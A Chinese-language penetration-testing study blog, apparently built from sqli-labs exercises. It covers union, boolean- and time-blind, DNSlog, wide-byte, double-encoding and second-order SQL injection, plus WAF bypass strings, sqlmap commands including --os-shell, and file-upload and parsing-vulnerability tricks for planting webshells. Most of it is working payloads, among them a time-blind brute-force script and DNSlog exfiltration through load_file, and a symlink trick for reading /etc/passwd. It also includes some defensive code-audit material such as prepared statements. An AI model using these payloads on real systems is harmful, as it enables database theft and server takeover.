id=-2’ union select 1,2,(select schema_name from information_schema.schemata)–+

1
select * from user where id='-2' union select 1,2,(select schema_name from informaiton_schema.schemata)--+'

这次返回提示我们返回的数据过多,我们使用limit对数据进行依次查看或者group_concat将数据集合查看
id=-2’ union select 1,2,(select schema_name from information_schema.schemata limit 0,1)–+

1
select * from user where id='-2' union select 1,2,(select schema_name from informaiton_schema.schemata limit 0,1)--+'

获得了库名,继续获得表名
id=-2’ union select 1,2,(select table_name from information_schema.tables where table_schema=’库名’ limit 0,1)–+

1
select * from user where id='-2' union select 1,2,(select table_name from information_schema.tables where table_schema='库名' limit 0,1)--+'

获得了表名,继续获得列名
id=-2’ union select 1,2,(select column_name from information_schema.columns where table_name=’表名’ limit 0,1)–+

1
select * from user where id='-2' union select 1,2,(select column_name from information_schema.columns where table_name='列名' limit 0,1)--+'

获得了表名和列名,就可以直接查询数据了
id=-2’ union select 1,2,(select username,password from 库名.表名)–+

1
select * from user where id='-2' union select 1,2,(select username,password from 库名.表名)--+'

如果返回数据过多,依旧使用上述两种方法,如果查询出来过多不便辨认,可以使用concat_ws(‘~’,username,password)进行分割
也有一些比较简单的语句

比如:

1
2
3
4
select user()
select database()
select load_file('文件目录')读本地文件或者系统文件
select 'test' into outfile '文件目录' 写文件(root权限)

Union联合查询

union操作符:

union操作符用于合并两个或多个select语句的结果集。

注意,union内部的select语句必须拥有相同数量的列,列也必须拥有相似的数据类型,同时每条select语句中的列顺序必须相同

默认情况,union操作符选取不同的值,如果允许重复的值,请使用union all

例子:

1
2
select columns_name(s) from table_name1 union select column_name(s) from table_name2
select columns_name(s) from table_name1 union all select column_name(s) from table_name2

union注入应用场景:

  1. 只有最后一个select子句允许有Order by;
  2. 只要最后一个select子句允许有limit
  3. 只要Union链接的几个查询的字段数一样且列的数据类型转换没有问题。就可以查询出结果
  4. 注入点页面有回显
    例子:
1
2
select * from users order by id union select  1,2,3;
select * from users limit 0,1 union select 1,2,3

union注入过程: sqli=lab less4学习

orderby 猜出来的列数超过数据库表中的列数,报错并不能返回数据

  1. orderby确定列数(二分法)
  2. 观察回显,选取数据位置,进行下一步注入
  3. 读库信息
  4. 读表信息
  5. 读字段
  6. 读数据
    大体步骤跟上文差不多这里给出例子:

id=-1’ union select 1,2,(select database())–+

1
select * from users where id='-1' union select 1,2,(select database())--+'

接着按照手工注入的步骤继续查询我们想要的信息,如果信息过多就采取limit或者group_concat,要采取间隔就用concat_ws,这样会更好查看一点

布尔盲注:

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,只返回right和wrong。这里我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的真和假来识别我们的判断是否正确,这就是布尔盲注

代码实现:

1
2
3
4
5
6
7
8
9
10
11
$id = $_GET['id'];
$sql = "select * from users where id = '$id' limit 0,1";
$row = mysql_fetch_array($result);
if($row)
{
echo "right";
}
else
{
echo "wrong"
}

示意过程:
正常请求,id=1,返回id=1的数据,错误请求id=1’,返回与正确页面不同的页面 (如果页面返回假,说明系统执行的SQL语句为假)

比如:

1
id=1 and left((select version(),1)=5--+

使用语句:

  1. left():left(database(),1)>’s’
    database()显示数据库名称,left(a,b)从左侧开始截取a的前b位

  2. regexp:select user() regexp ‘^r’

正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式

3.like:select user() like ‘ro%’

与regexp类似,使用like进行匹配

4.substr(),ascii():ascii(substr((select database()),1,1))=98

substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii的值

5.ord(),mid():ord(mid((select user()),1,1))=114

mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值

练习:

环境:sqli-lab less 8

id=1

1
select * from users where id='1' limit 0,1

回显正确you are in
id=1’

1
select * from users where id='1' ' limit 0,1

回显消失
id=1’ and ‘1’ = ‘1

1
select * from users where id = '1' and '1' ='1' limit 0,1

回显正确you are in
将后者的逻辑判断改为2,回显消失,可以判断存在sql注入漏洞

使用left()来进行尝试

id=1’ and left((select database()),1)=’s’–+

1
select * from users where id='1' and left((select database()),1)='s' --'limit 0,1

回显成功you are in
通过此类方法就能对库名,表名,列名进行查询

对表名查询

id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=’e’–+

1
select * from users where id='1' and left((select  table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+

回显成功 判断正确
注入流程就是这样,我们可以使用BP进一步提升效率,为字符添加变量,自动化跑(注意下数据库命名规则是a-z,0-9,_

尝试切换为regexp试试

id=1’ and (select database()) regexp ‘^s’ –+

1
select * from users where id = '1' and (select database()) regexp '^s' --+' limit 0,1

回显成功判断正确
id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1),1) regexp ‘^e’ –+

1
select * from users where id='1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1),1) regexp '^e' --+' limit 0,1

回显成功判断正确,如果要判断第二位,就直接在e后面加上自己想测的字符
切换为like

id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1) like ‘e%’ –+

1
select * from users where id='1' and(select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%' --+ limit 0,1

这种表示匹配以e开头的字符串,后面同理regexp
切换为substr以及ascii

id=1’ and ascii(substr((select database()),1,1) = 115 –+

1
select * from users where id='1' and ascii(substr((select database()),1,1) = 98 --+' limit ,1

截取了从第一位字符开始长度为一的字符的ascii并判断是否等于115,这里是回显成功判断正确
然后查表

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) = 115 –+

这里回显失败判断错误,就可以借助Bp爆破字符了,爆破可得101时正确,接着调整字符长度和ASCII的值,直至爆破结束

时间盲注:

原理:

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面的内容来进行判断,这里我们可以通过构造语句,通过页面响应的时长,来判断信息,这就是时间盲注

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
$id = $_GET['id'];
$sql = 'select * from users where id='$id' limit 0,1';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
}
else
{
echo "";
}

示意过程:

登陆正常请求,name=admin&pwd=1返回登陆成功的页面,在不知道账号密码的情况发送登录请求,返回登陆失败的页面,构造sql语句,发送登陆请求,返回登陆失败页面,构造语句让程序延时执行,判断信息

构造逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行

核心语法:if(left(user(),1)=’a’,0,sleep(3));通过sql语句取到某个值,用left去user左侧的第一个字符,如果等于a,就立即执行,错误就延时3秒执行

真实场景:if(ascii(substr(database(),1,1))>115,0,sleep(5))%23

插入想要查询的数据,进行字符串截取,再进行比对

练习:

环境:sqli-lab less10

id=1 id=1’ id=1’ and ‘1’ =’2

进行一些简单的逻辑判断,均为一致的回显

采取上述时间盲注

id=1’ and if(left(user(),1)=’a’,0,sleep(3))–+

1
select * from users where id='1' and if(left(user(),1)='a' , 0 ,sleep(3))--+' limit 0,1

很明显页面延迟了刷新,将字符a变为r,页面立即执行,通过这种方式就能对数据库的数据进行查询
id=1’ and if(left(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=’e’,0,sleep(3))–+

1
select * from users where id='1' and if(left(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',0,sleep(3))--+' limit 0 ,1

页面立即执行了,可见就是表名第一个字符就是E,但是这种效率会比较低这里对时间盲注比较推荐使用工具或者脚本
时间盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import time

url=''
database='select schema_name from information_schema.schemata'
column = 'select column_name from information_schema.columns where table_name="table_name"'
table = 'select table_name from information_schema.tables where table_schema=database()'

result = ''
for i in range(1,20):
    for j in range(48,122):
        payload = '" and if(ascii(substr(({} limit 0,1),{},1),sleep(2),1)--+'.format(database,i,j)
        stime=time.time()
        r = requests.get(url+payload)
        etime = time.time()
        if etime-stime ==2:
            result += chr(j)
            print(result)
            break

这里脚本先对库名进行爆破,爆完库名修改为表名,列名即可

Dnslog盲注

每个网站都有对应的域名比如test.com ,同样每个域名都有对应的ip地址,而将ip地址与域名这两者互相转换的中间人就是DNS,这两者每次转换都会留下一定的记录,我们就可以将这个称为dnslog,其实就是记录用户访问域名的信息

原理:代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,我们可以通过布尔以及时间盲注获得内容,但整个过程效率低,需要发送很多请求进行判断,很可能触发安全设备的防护,所以需要一种方式减少请求,直接回显数据,这里可以使用dnslog实现注入

代码实现:

1
2
3
4
5
6
7
8
9
10
11
$id = $_GET['id'];
$sql = "select * from users where id = '$id' limit 0,1";
$row = mysql_fetch_array($result);
if($row)
{
echo "right";
}
else
{
echo "wrong"
}

平台:ceye.io dns在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息比如 curl xx.dnsurl,xx这里就是我们可以自主输入的命令字符,如果输入的whoami,就会返回当前用户
另外mysql的load_file可以发起请求

例子:select load_file(concat(‘\\‘,’test’,’mysql.dnsurl\abc’));

构造语句,利用Load_file函数发起请求,使用dnslog接受请求,获取数据

核心语法:select load_file(concat(‘\\‘,(select database(),’mysql.dnsurl\abc’));

通过sql语句查询内容,作为请求的一部分发送至dnslog,只要对这一部分的语句进行构造,就能实现有回显的sql注入,值得注意的是,这些数据格式和内容都有限制,需要处理

练习:

环境:sqli-lab less9

id=1 或者其他逻辑判断

回显无效无法判断,如果有注入点就必然是盲注

采取dnslog盲注

id=1’ and select load_file(concat(‘\\‘,(select database(),’mysql.dnsurl\abc’));

1
select * from users where id ='1' and select load_file(concat('\\\\',(select database(),'mysql.dnsurl\\abc'));--+'

前去dnslog平台就可以看到库名
然后查表名

id=1’ and select load_file(concat(‘\\‘,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’mysql.dnsurl\abc’));–+

1
select * from users where id='id=1' and select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'mysql.dnsurl\\abc'));--+'

可以看到表名,列名就按照老套路继续走
但是其实效率还是不高,推荐使用脚本跑

宽字节注入

原理:

GB2312,GBK等这些都是宽字节,实际为两字节

常规输入’后会被处理为',然后进行编码为%5c%27即',代入sql为id=1' and这明显是不能注入的

当mysql在使用gbk编码,会认为两个字符为一个汉字

%df’会被处理为%df',进行编码%df%5c%27,其中%df%5c组合会被认为是一个汉字(前一个ASCII码大于128才能到汉字的范围),id=某汉字’ and可以注入

方法:

在注入点后键入%df,然后按照正常流程开始注入

less-32

黑盒测试:在可能注入点后键入%df进行测试

白盒测试:

  1. 查看mysql编码是否为gbk
  2. 是否使用preg_replace转义单引号
  3. 是否使用addslasher转义
  4. 是否使用mysql_real_escape_string转义

    练习:

id=1’

回显变为了1'

id=1%df%27

回显多了个不可见字符组合成了一个汉字并报错,很明显我们可以开始注入,按照以前的流程

id=%df%27 union select 1,(select user()),3–+

1
select * from users where id='%df' union select 1,(select user()),3--+'

回显当前用户,剩下的直接按照之前的套路即可
也可使用sqlmap

但是如果不进行处理直接键入

比如sqlmap -u ‘url’ 是不会显示有注入点的需要在url加一个汉字参数

比如sqlmap -u ‘url?id=1%df’类似 这样即可

重点还是是否设置了编码gbk这些宽字节的编码!!!!!以及那些能进行转义的函数

防御:

  1. 设置utf-8,避免宽字节注入ps:不仅在gbk,日文和韩文都存在宽字节漏洞
  2. 使用mysql_real_escape_string时一定要设置mysql_set_charset(‘gbk’,$conn);
  3. 可以设置参数character_set_client=binary

    二次编码注入

原理:

面对php代码或者配置时,urldecode()与本身处理编码时,两者配合失误,可以构造错误消灭\

用户输入id=1%27,php自身编码id=1’,转义为1',代入sql为id=1'不能注入

php代码中放置了urldecode()等编码函数,放置在一个尴尬的位置,与php自身编码配合失误

用户输入id=1%2527,自身编码为id=1%27,此时没有’没有触发转义,函数编码为id=1’,代入sql为id=1’ and可以注入

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($_GET['id'])){
$id = mysql_real_escape_string($_GET['id']);
$id = urldecode($id);
$sql = "select * from users where id='$id' limit 0,1";
$result = mysql_query($sql);
$row=mysql_fetch_array($result);
if($row)
{
xxxxx
}
else
{
xxxxx
}

练习:

id=1’时会被转义为id=1'

变为id=1%2527时,回显为1’并报错可以发现会存在sql注入漏洞接下来直接按照之前的套路

比如

id=%2527 and union select 1,(select user()),3–+

1
select * from users where id =' union select 1,(select user()),3--+'

如果是sqlmap的话跟宽字节注入一个道理需要键入相关参数
比如sqlmap -u ‘url?id=1%2527’就可以跑

黑盒测试:

在可能的注入点键入%2527,之后进行注入测试

白盒测试:

  1. 是否使用Urldecode函数
  2. urldecode函数是否存在转义方法之后

    二次注入

原理

第一步:插入恶意数据:

第一次进行数据库插入数据的时候,仅仅对特殊字符进行了转义,在写入的时候保留了原来的数据,但是数据本身是含有恶意内容的

第二步:引用恶意数据:

将数据存入到数据库之后,开发者认为数据是可信的,在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,就会造成sql的二次注入

过程:

寻找插入数据库并会转义的操作,输入参数,参数经过转义函数1',参数进入数据库存储还原为1’,寻找另一处引用数据的操作,将1’从数据库中取出,取出后直接给变量并代入sql,sql注入触发

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$sql = 'select * from users order by id asc';
$result = mysql_query($sql);
$num = mysql_num_rows($result);
for ($j = 0;$j<$num;++$j)
{
$row = mysql_fetch_array($result);
$username = $row[1];
$sql_detail = "select * from users where username ='$username'";
$result_detail=mysql_query($sql_detail);
$num_detail=mysql_num_rows($result_detail);
for($i =0;$i<$num_detail;++$i){
$row_detail =mysql_fetch_array($result_detail);
xxxxxx
}
}

练习:less24

点击注册admin’# 密码123,然后修改密码为1314并键入原密码123

查看数据库里可以看到admin这个用户密码被改成了1314,而不是admin’#这个用户的密码被修改了

具体的sql语句是这样

$sql=”update users set password=’1314’ where username=’admin’#’ and password = ‘$curr_pass’”;

所以我们可以这样注入

创建一个这样的用户

1’ union select 1,user(),3# 密码123

然后查看用户列表,可以看到当前用户名能显示我们数据库的当前用户

执行的语句为$sql_detail = ‘select * from users where username = ‘1’ union select 1,user(),3#’”;

这样就能到比较直观的二次注入的效果,不断插入我们的语句就能查询到我们想要的信息

防御:

对外部提交的数据,需要更加严谨的对待,程序内部的数据调用,也要进行严格的检查,一不小心,测试者就能将特定的sql语句代入到查询中

waf绕过

原理

掌握mysql函数和语法使用方法+深入了解中间件运行处理机制+了解WAF防护原理及方法=绕过WAF防护

代码实现:

(部分)

1
2
3
4
5
6
7
8
9
10
11
12
$id =$_GET['id'];
$id = blacklist($id);
$sql='select * from users where id='$id' limit 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

function blacklist($id)
{
$id = preg_replace('/or/i','',$id);
$id = preg_replace('/AND/i','',$id);
return $id;
}

1.分析代码:

使用了Blacklist函数过滤了’or’和’and’

2.绕过限制

大小写变形:Or OR,oR 等价替换:and = & or = || 双写等

黑盒绕过:

  1. 架构层绕过:
  • 寻找源站,针对云WAF
  • 利用同网段,绕过WAF防护区域
  • 利用边界漏洞,绕过WAF防护区

2.资源限制角度绕过WAF

  •  post大body
    

3.协议层面绕WAF

  • 协议未覆盖WAF
    (请求方式变化:get>post 参数污染)

4.规则层面绕过

  1. sql注释符绕过
  • union /**/select
  • union/aaa%01bbs/select
  • union/aaaaaaaaaaaaaaaaaaaaaa/select
  • 内联注释:/!xxx/

2.空白符绕过

  • mysql空白符:%09.%0A.%0B.%0D.%0C.%A0.%20,/xxx/
  • 正则的空白符:%09.%0A.%0B.%0D.%20
    exa1:union%250Cselect

exa2:union%25A0select

3.函数分割符号:

  • concat%2520(
  • concat/**/(
  • concat%250c(
  • concat%25a0(

4.浮点数词法解析

  • select * from users where id = 8E0union select 1,2,3,4,5,6,7,8,0

  • select * from users where id = 8.0 union select 1,2,3,4,5,6,7,8,0

  • select * from users where id =\N union select 1,2,3,4,5,6,7,8,9,0
    5.利用error-base进行sql注入:error-based sql注入函数非常容易被忽略

  • extractvalue(1,concat(0x5c,md5(3)));

  • updatexml(1,concat(0x5d,md5(3)),1);

  • GeometryCollection((select * from(select * from(select@@version)f)x))

  • polygon((select * from (select name_const(version(),1))x))

  • linestring()

  • multipoint()

  • multilinestring()

  • multipolygon()

6.mysql特殊语法

  • select{x table_name}from{x information_schema.tables};
    以注释符绕过为例,采取工具BP进行fuzz注释符内的字符获取payload

sqlmap常见命令

1
2
3
4
5
6
7
8
9
10
sqlmap.py -u 'url?id=1'
sqlmap.py -u 'url?id=1' -- current-db
sqlmap.py -u 'url?id=1' --current-user
sqlmap.py -u 'url?id=1' -D security --tables
sqlmap.py -u 'url?id=1' -D security -T users --columns
sqlmap.py -u 'url?id=1' -D security -T users -C username,password --dump
sqlmap.py -u 'url?id=1' --os-shell
sqlmap.py -u 'url?id=1' --sql-shell
sqlmap.py -u 'url?id=1' --file-read
sqlmap.py -u 'url?id=1' --file-write 本地文件 --file-dest 目标目录及文件

代码审计

0x01 普通注入

SQL参数拼接,未做任何过滤 

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$con = mysql_connect("localhost","root","root");
if (!$con){die('Could not connect: ' . mysql_error());}
mysql_select_db("test", $con);
$id = stripcslashes($_REQUEST[ 'id' ]);
$query = "SELECT * FROM users WHERE id = $id ";
$result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');
while($row = mysql_fetch_array($result))
{
 echo $row['0'] . " " . $row['1'];
echo "<br />";
}
 echo "<br/>";
echo $query;
mysql_close($con);
 ?>

测试语句:id = union select user(),2,3,4 from users

0x02 宽字节注入

A、MYSQL中的宽字符注入

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$con = mysql_connect("localhost","root","root");
mysql_query("SET NAMES 'gbk'");
mysql_select_db("test", $con);
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$query = "SELECT * FROM users WHERE id ='{$id}' ";
$result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');
while($row = mysql_fetch_array($result))
{
echo $row['0'] . " " . $row['1'];
echo "<br />";
}
echo "<br/>";
echo $query;
mysql_close($con);
 ?>

 测试语句:%df%27
 mysql的特性,因为gbk是多字节编码,两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而’逃逸了出来。

根据gbk编码,第一个字节ascii码大于128,基本上就可以了。比如我们不用%df,用%a1也可以。

 gb2312编码的取值范围。它的高位范围是0xA10xF7,低位范围是0xA10xFE,而\是0x5c,是不在低位范围中的。所以,0x5c根本不是gb2312中的编码,所以不会造成宽字节注入。扩展到世界上所有多字节编码,只要低位的范围中含有0x5c的编码,就可以进行宽字符注入

宽字符注入的修复:

方案一:指定php连接mysql的字符集

mysql_set_charset(‘gbk’,$conn);

id=mysql_real_escape_string(_GET[‘id’]);

方案二:将character_set_client设置为binary(二进制)

mysql_query(“SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary”,$conn);

图片

将character_set_client设置成binary,就不存在宽字节或多字节的问题了,所有数据以二进制的形式传递,就能有效避免宽字符注入。

B、PHP 编码转换示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$con = mysql_connect("localhost","root","root");
mysql_query("SET NAMES 'gbk'");
mysql_select_db("test", $con);
mysql_query("SET character_set_connection=gbk,
character_set_results=gbk,character_set_client=binary", $con);
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$id=iconv('utf-8','gbk',$id);
$query = "SELECT * FROM users WHERE id ='{$id}' ";
 $result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');
while($row = mysql_fetch_array($result))
{
echo $row['0'] . " " . $row['1']; echo "<br />";
}
echo "<br/>";
echo $query;
mysql_close($con);
?>

测试语句: 錦’

錦这个字:它的utf-8编码是%e9%8c%a6,它的gbk编码是%e5%5c

 

錦被iconv从utf-8转换成gbk后,变成了%e5%5c,而后面的’被addslashes变成了%5c%27,这样组合起来就是%e5%5c%5c%27,两个%5c就是\,正好把反斜杠转义了,导致’逃逸出单引号,产生注入。

id=iconv(‘gbk’,utf-8’,id);//使用%df%27来测试

一个gbk汉字2字节,utf-8汉字3字节,如果我们把gbk转换成utf-8,则php会每两个字节一转换。所以,如果'前面 的字符是奇数的话,势必会吞掉\,’逃出限制。

其他函数:mb_convert_encoding(id,’utf-8’,’gbk’)//GBKToUTF-8与iconv(‘gbk’,’utf-8’,id)一样

0x03 编码解码

 

找一些编码解码的函数来绕过防护,,如urldecode() 、rawurldecode()、base64_decode()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$con = mysql_connect("localhost","root","root");
mysql_select_db("test", $con);
$id = addslashes($_REQUEST['id']);
$id = urldecode($id);//$id = base64_decode($id);
$query = "SELECT * FROM users WHERE id = '{$id}'";
$result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');
while($row = mysql_fetch_array($result))
{
echo $row['0'] . " " . $row['1'];
echo "<br />";
}
echo "<br/>"; echo $query;
mysql_close($con);
?>

测试语句:

1’union select 1,2,3,4%23 单引号Urlencode 1%2527union select 1,2,3,4%23

 

1’union select 1,2,3,4#   Base64 Encode   MSd1bmlvbiBzZWxlY3QgMSwyLDMsNCM=

0x04 二次注入

 

入库后转义符就会消失,变成hack’,查询出库的就是hack’,如果拼接到SQL语句,成功引入了单引号闭合前面字符,导致注入。

 

测试:

CREATE TABLE test (user VARCHAR(20) NOT NULL);

 

INSERT INTO test values(‘hack'‘);

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//测试数据
create table test( id INT NOT NULL,
user VARCHAR(100) NOT NULL, pass VARCHAR(100) NOT NULL
)
INSERT INTO test values(1,'hack','hack');
//测试代码<?php
$con = mysql_connect("localhost","root","root");
mysql_select_db("test", $con);
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $con); //update入库
if (isset($_GET['key'])){
$key=addslashes($_REQUEST['key']);
$query ="update test set user='{$key}' where id=1";
echo "INSERT SQL: ".$query."<br/>";
$result = mysql_query($query);
}
//select 出库,并带入查询
$query = "SELECT * FROM test WHERE id = 1";
$result = mysql_query($query);
$row = mysql_fetch_row($result); echo "<br/>";
$query = "SELECT * FROM test WHERE user = '{$row[1]}'"; print_r('SELECT SQL: '.$query.'<br/>');
$result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');;
echo "<br/>";
print_r(mysql_fetch_row($result));
mysql_close($con);
?>

0x05注意点:

1、str_replace函数 过滤单引号等,可能造成注入;

 

2、stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。stripslashes函数使用不当,可能造成注入;

0x06 漏洞防护:

基本思路:输入(解决数字型注入)——-转义处理(解决字符型注入)——-输出(解决数据库报错)

 

1、检查输入的数据是否具有所期望的数据格式。PHP 有很多可以用于检查输入的函数,从简单的变量函数和字符类型函数(比如 is_numeric(),ctype_digit())到复杂的 Perl 兼容正则表达式函数都可以完成这个工作。如果程序等待输入一个数字,可以考虑使用 is_numeric() 来检查,或者直接使用 settype() 来转换它的类型,也可以用 sprintf() 把它格式化为数字

2、PHP内置转义函数

Addslashes() http://php.net/manual/zh/function.addslashes.php

magic_quote_gpc http://php.net/manual/zh/info.configuration.php#ini.magic-quotes-gpc mysql_real_escape_string() http://php.net/manual/zh/function.mysql-real-escape-string.php mysql_escape_string() http://php.net/manual/zh/function.mysql-escape-string.php

3、数据库报错信息泄露防范:

 把php.ini文件display_errors = Off

 数据库查询函数前面加一个@字符

最有效可预防SQL注入攻击的防御方式:预处理技术进行数据库查询:

代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$mysqli = new MySQLi("localhost","root","root","test");
if(!$mysqli){
die($mysqli->error);
}
$sql = "select id,username,password from users where id=?";////创建一个预定义的对象  ?占位
$mysqli_stmt = $mysqli->prepare($sql);
$id=$_REQUEST['id'];
$mysqli_stmt->bind_param("i",$id);////绑定参数
$mysqli_stmt->bind_result($id,$username,$password);////绑定结果集
$mysqli_stmt->execute();//执行while($mysqli_stmt->fetch()){  //取出绑定的结果集
echo $id." ".$username ." ". $password;
}
echo "<br/>";
echo $sql;
$mysqli_stmt->free_result(); ////关闭结果集
$mysqli_stmt->close();
$mysqli->close();
?>

重绘图

应用调用图片库对上传的文件进行图像转换,所以即使将图片与文件合并,也会将尾部转换掉,无法使用前面所讲方法进行上传webshell

  • 将正常图片用目标使用的图形库进行转换
  • 寻找转换前后两次未变的部分
  • 将未变部分替换为欲上传的webshell
  • 将替换后的文件进行图像转换,看是否转换后仍存在替换后部分
    例如:

转换前:12333333abcdefg[11111111233]sdas213

转换后: xsadssdsdsddssss[11111111233]2312443

网址:www.github.com/RickGray/Bypass-PHP-GD-Proces-To-RCE

练习:

在上述环境中上传一个带有phpinfo();的test.gif,上传成功后访问并没有回显phpinfo()页面,去上传目录查看该文件可以看到文件的内容已经缺少了phpinfo(),采取上述网页的工具进行测试即可,这里做个记录罢了

phpinfo与本地文件包含的利用

某站点存在本地文件包含及phpinfo,可以利用其执行脚本

php在解析multipart/form-data请求时,会创建临时文件,并写入上传内容,脚本执行结束后即结束

phpinfo可以输出$_FILES信息

通过多种方式争取时间,在临时文件删除前进行执行包含 通过在数据报文中加入大量的垃圾数据,使phpinfo页面过大,导致php输出进入流式输出,并不一次输出完毕 通过大量请求来延迟php脚本的执行速度

www.github.com/hxer/vulnapp.git

在线解压缩的利用

存在上传压缩包并解压的上传点,可使用如下方式利用将webshell打包在压缩包中

1.模板上传处常用压缩包上传后进行自动解压

2.部分此类有检测压缩包中内容的,可尝试建立目录进行压缩

3.使用目录穿越../的方法向上一级目录进行上传

将文件软连接打包到压缩包中 文件软连接到/etc/passwd等文件,达到任意文件读取ln -s /etc/passwd ./azip –symlinks -r photos.zip ./a

解析漏洞是指服务器应用程序在解析某些静态文件或者动态文件时,会将其解析成网页脚本,从而导致网站的沦陷

IIS/Nginx+php fastcgi取值错误解析漏洞(配置漏洞)

开启了cgi.fix_pathinfo如果开启以后,所执行文件不存在,会继续查找上一级文件是否存在。index.php/id/2

并且未设置security.limit_extensions该选项限制可以执行的文件类型

示例:abcde.jpg/.php

练习:

选择一个phpinfo.jpg进行上传,内容为phpinfo();,但被拦截应该是不仅对扩展名验证还对文件内容进行了验证,所以采取copy命令将一张gif和phpinfo进行构造过文件类型检测,上传成功并能成功访问图片,随后访问url/xx.gif/1.php,便能够访问到phpinfo页面

Nginx文件名逻辑漏洞(CVE-2013-4547)

影响版本:Nginx0.8.41 1.4.3/1.5.01.5.7

上传一个以空格(%20)为结尾的文件,例如abcde.jpg “

当访问abcde.jpg%20%00.php时,会将刚刚上传的“abcde.jpg “文件当做php进行执行

abcde.jpg%20%00.php

一般的php匹配正则: .php$

存在漏洞时,Nginx将abcde.jpg%20认当做了脚本文件名

练习:

首先上传一个phpinfo.php无法上传,上传一个phpinfo.gif可以上传,进行修改提交并截包,在文件名后面加一个空格成功上传,然后抓包修改在url后面添加%20%00.php并进行url解码访问文件,返回phpinfo页面

Apache解析漏洞(配置错误)

如果在Apach的conf文件中有如下配置

AddHandler application/x-httpd-php .php

则abcde.php.jpg也会被当做php去执行

如果在.htaccess中有如下配置,可以将扩展名.xxx当做php执行

AddType application/x-httpd-php xxx

练习:

在phpinfo.gif中间加一个.php,点击上传并访问,回显phpinfo.php的页面,但如果只是单纯的上传一个图片gif文件,只会是图片回显

IIS 5.x/6.0解析漏洞

  1. 上传文件名:abcde.asp;.jpg
    服务器默认不解析;号后面的内容,因此abcde.asp;.jpg被当做了asp文件解析

  2. 向xxx.asp目录下面上传abcde.jpg

服务器会将xxx.asp目录下的文件都当做asp文件解析

(环境是在FckEditor下)

练习:

上传一个内容为打印helloworld的hello.asp但并不能上传,抓包修改在文件的后面添加;.jpg发包,成功上传并访问该文件,页面成功打印出Helloworld

创建一个文件夹1.asp但里面没有任何内容,把hello.asp改为hello.jpg上传到该文件夹,访问Url/1.asp/hello.jpg,成功打印helloworld

查看服务器类型

1.F12查看响应头中的server,里面含有服务器类型的名字或者版本号(注意!可修改)

2.访问一个不存在的文件,比如IIS会进行报错有服务器信息

原理:

文件上传,一个网站的常见功能,多用于上传照片,视频,文档等许多类型文件

一般的流程:

  1. 前端选择文件,进行提交
  2. 浏览器形成post multipart报文发送到服务器
  3. 服务器中间件接收到报文,解析后交给相关后端代码进行处理
  4. 后端代码将上传的文件内容写入到临时文件中(php特有)
  5. 写入到文件后,文件名为提交的文件名或以一定规则生成文件名

    请求报文解析:

请求头:

第一行:请求方法和请求路径 以及Http协议版本

第二行:请求数据长度

请求Content-Type:请求方式的编码类型以及编码分割

请求数据:

普通参数:参数名和参数值

文件参数:文件名.上传文件的MIME/TYPE

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$uploaddir='upload/';
if(isset($_POST['submit']))
{
if(file_exist($uploaddir))
{
if(move_uploaded_file($_FILES['upfile']['tmp_name'],$uploaddir.'/'.$_FILE['upfile']['name']){
echo'xxxxxx'.$uploaddir.$_FILE['upfile']['name']."\n";
}
}else{
exit($uploaddir.'xxxxx')};
}
}
?>

当文件上传点未对上传的文件进行严格的验证和过滤时,就容易造成任意文件上传,包括上传动态文件(asp/php/jsp等等)
如果上传的目标目录没有限制执行权限,导致所上传的动态文件如webshell可以正常执行并且可以访问,及造成了文件上传漏洞

上传漏洞的必要条件:

  • 存在上传点
  • 可以传动态文件
  • 上传目录有执行权限,且上传的文件可执行
  • 可访问到上传的动态文件

文件上传检测流程:

前端提交->数据传输->后端处理->写入文件系统->访问文件

前端:JS检测,Flash AS检测

数据:WAF拦截,IPS拦截

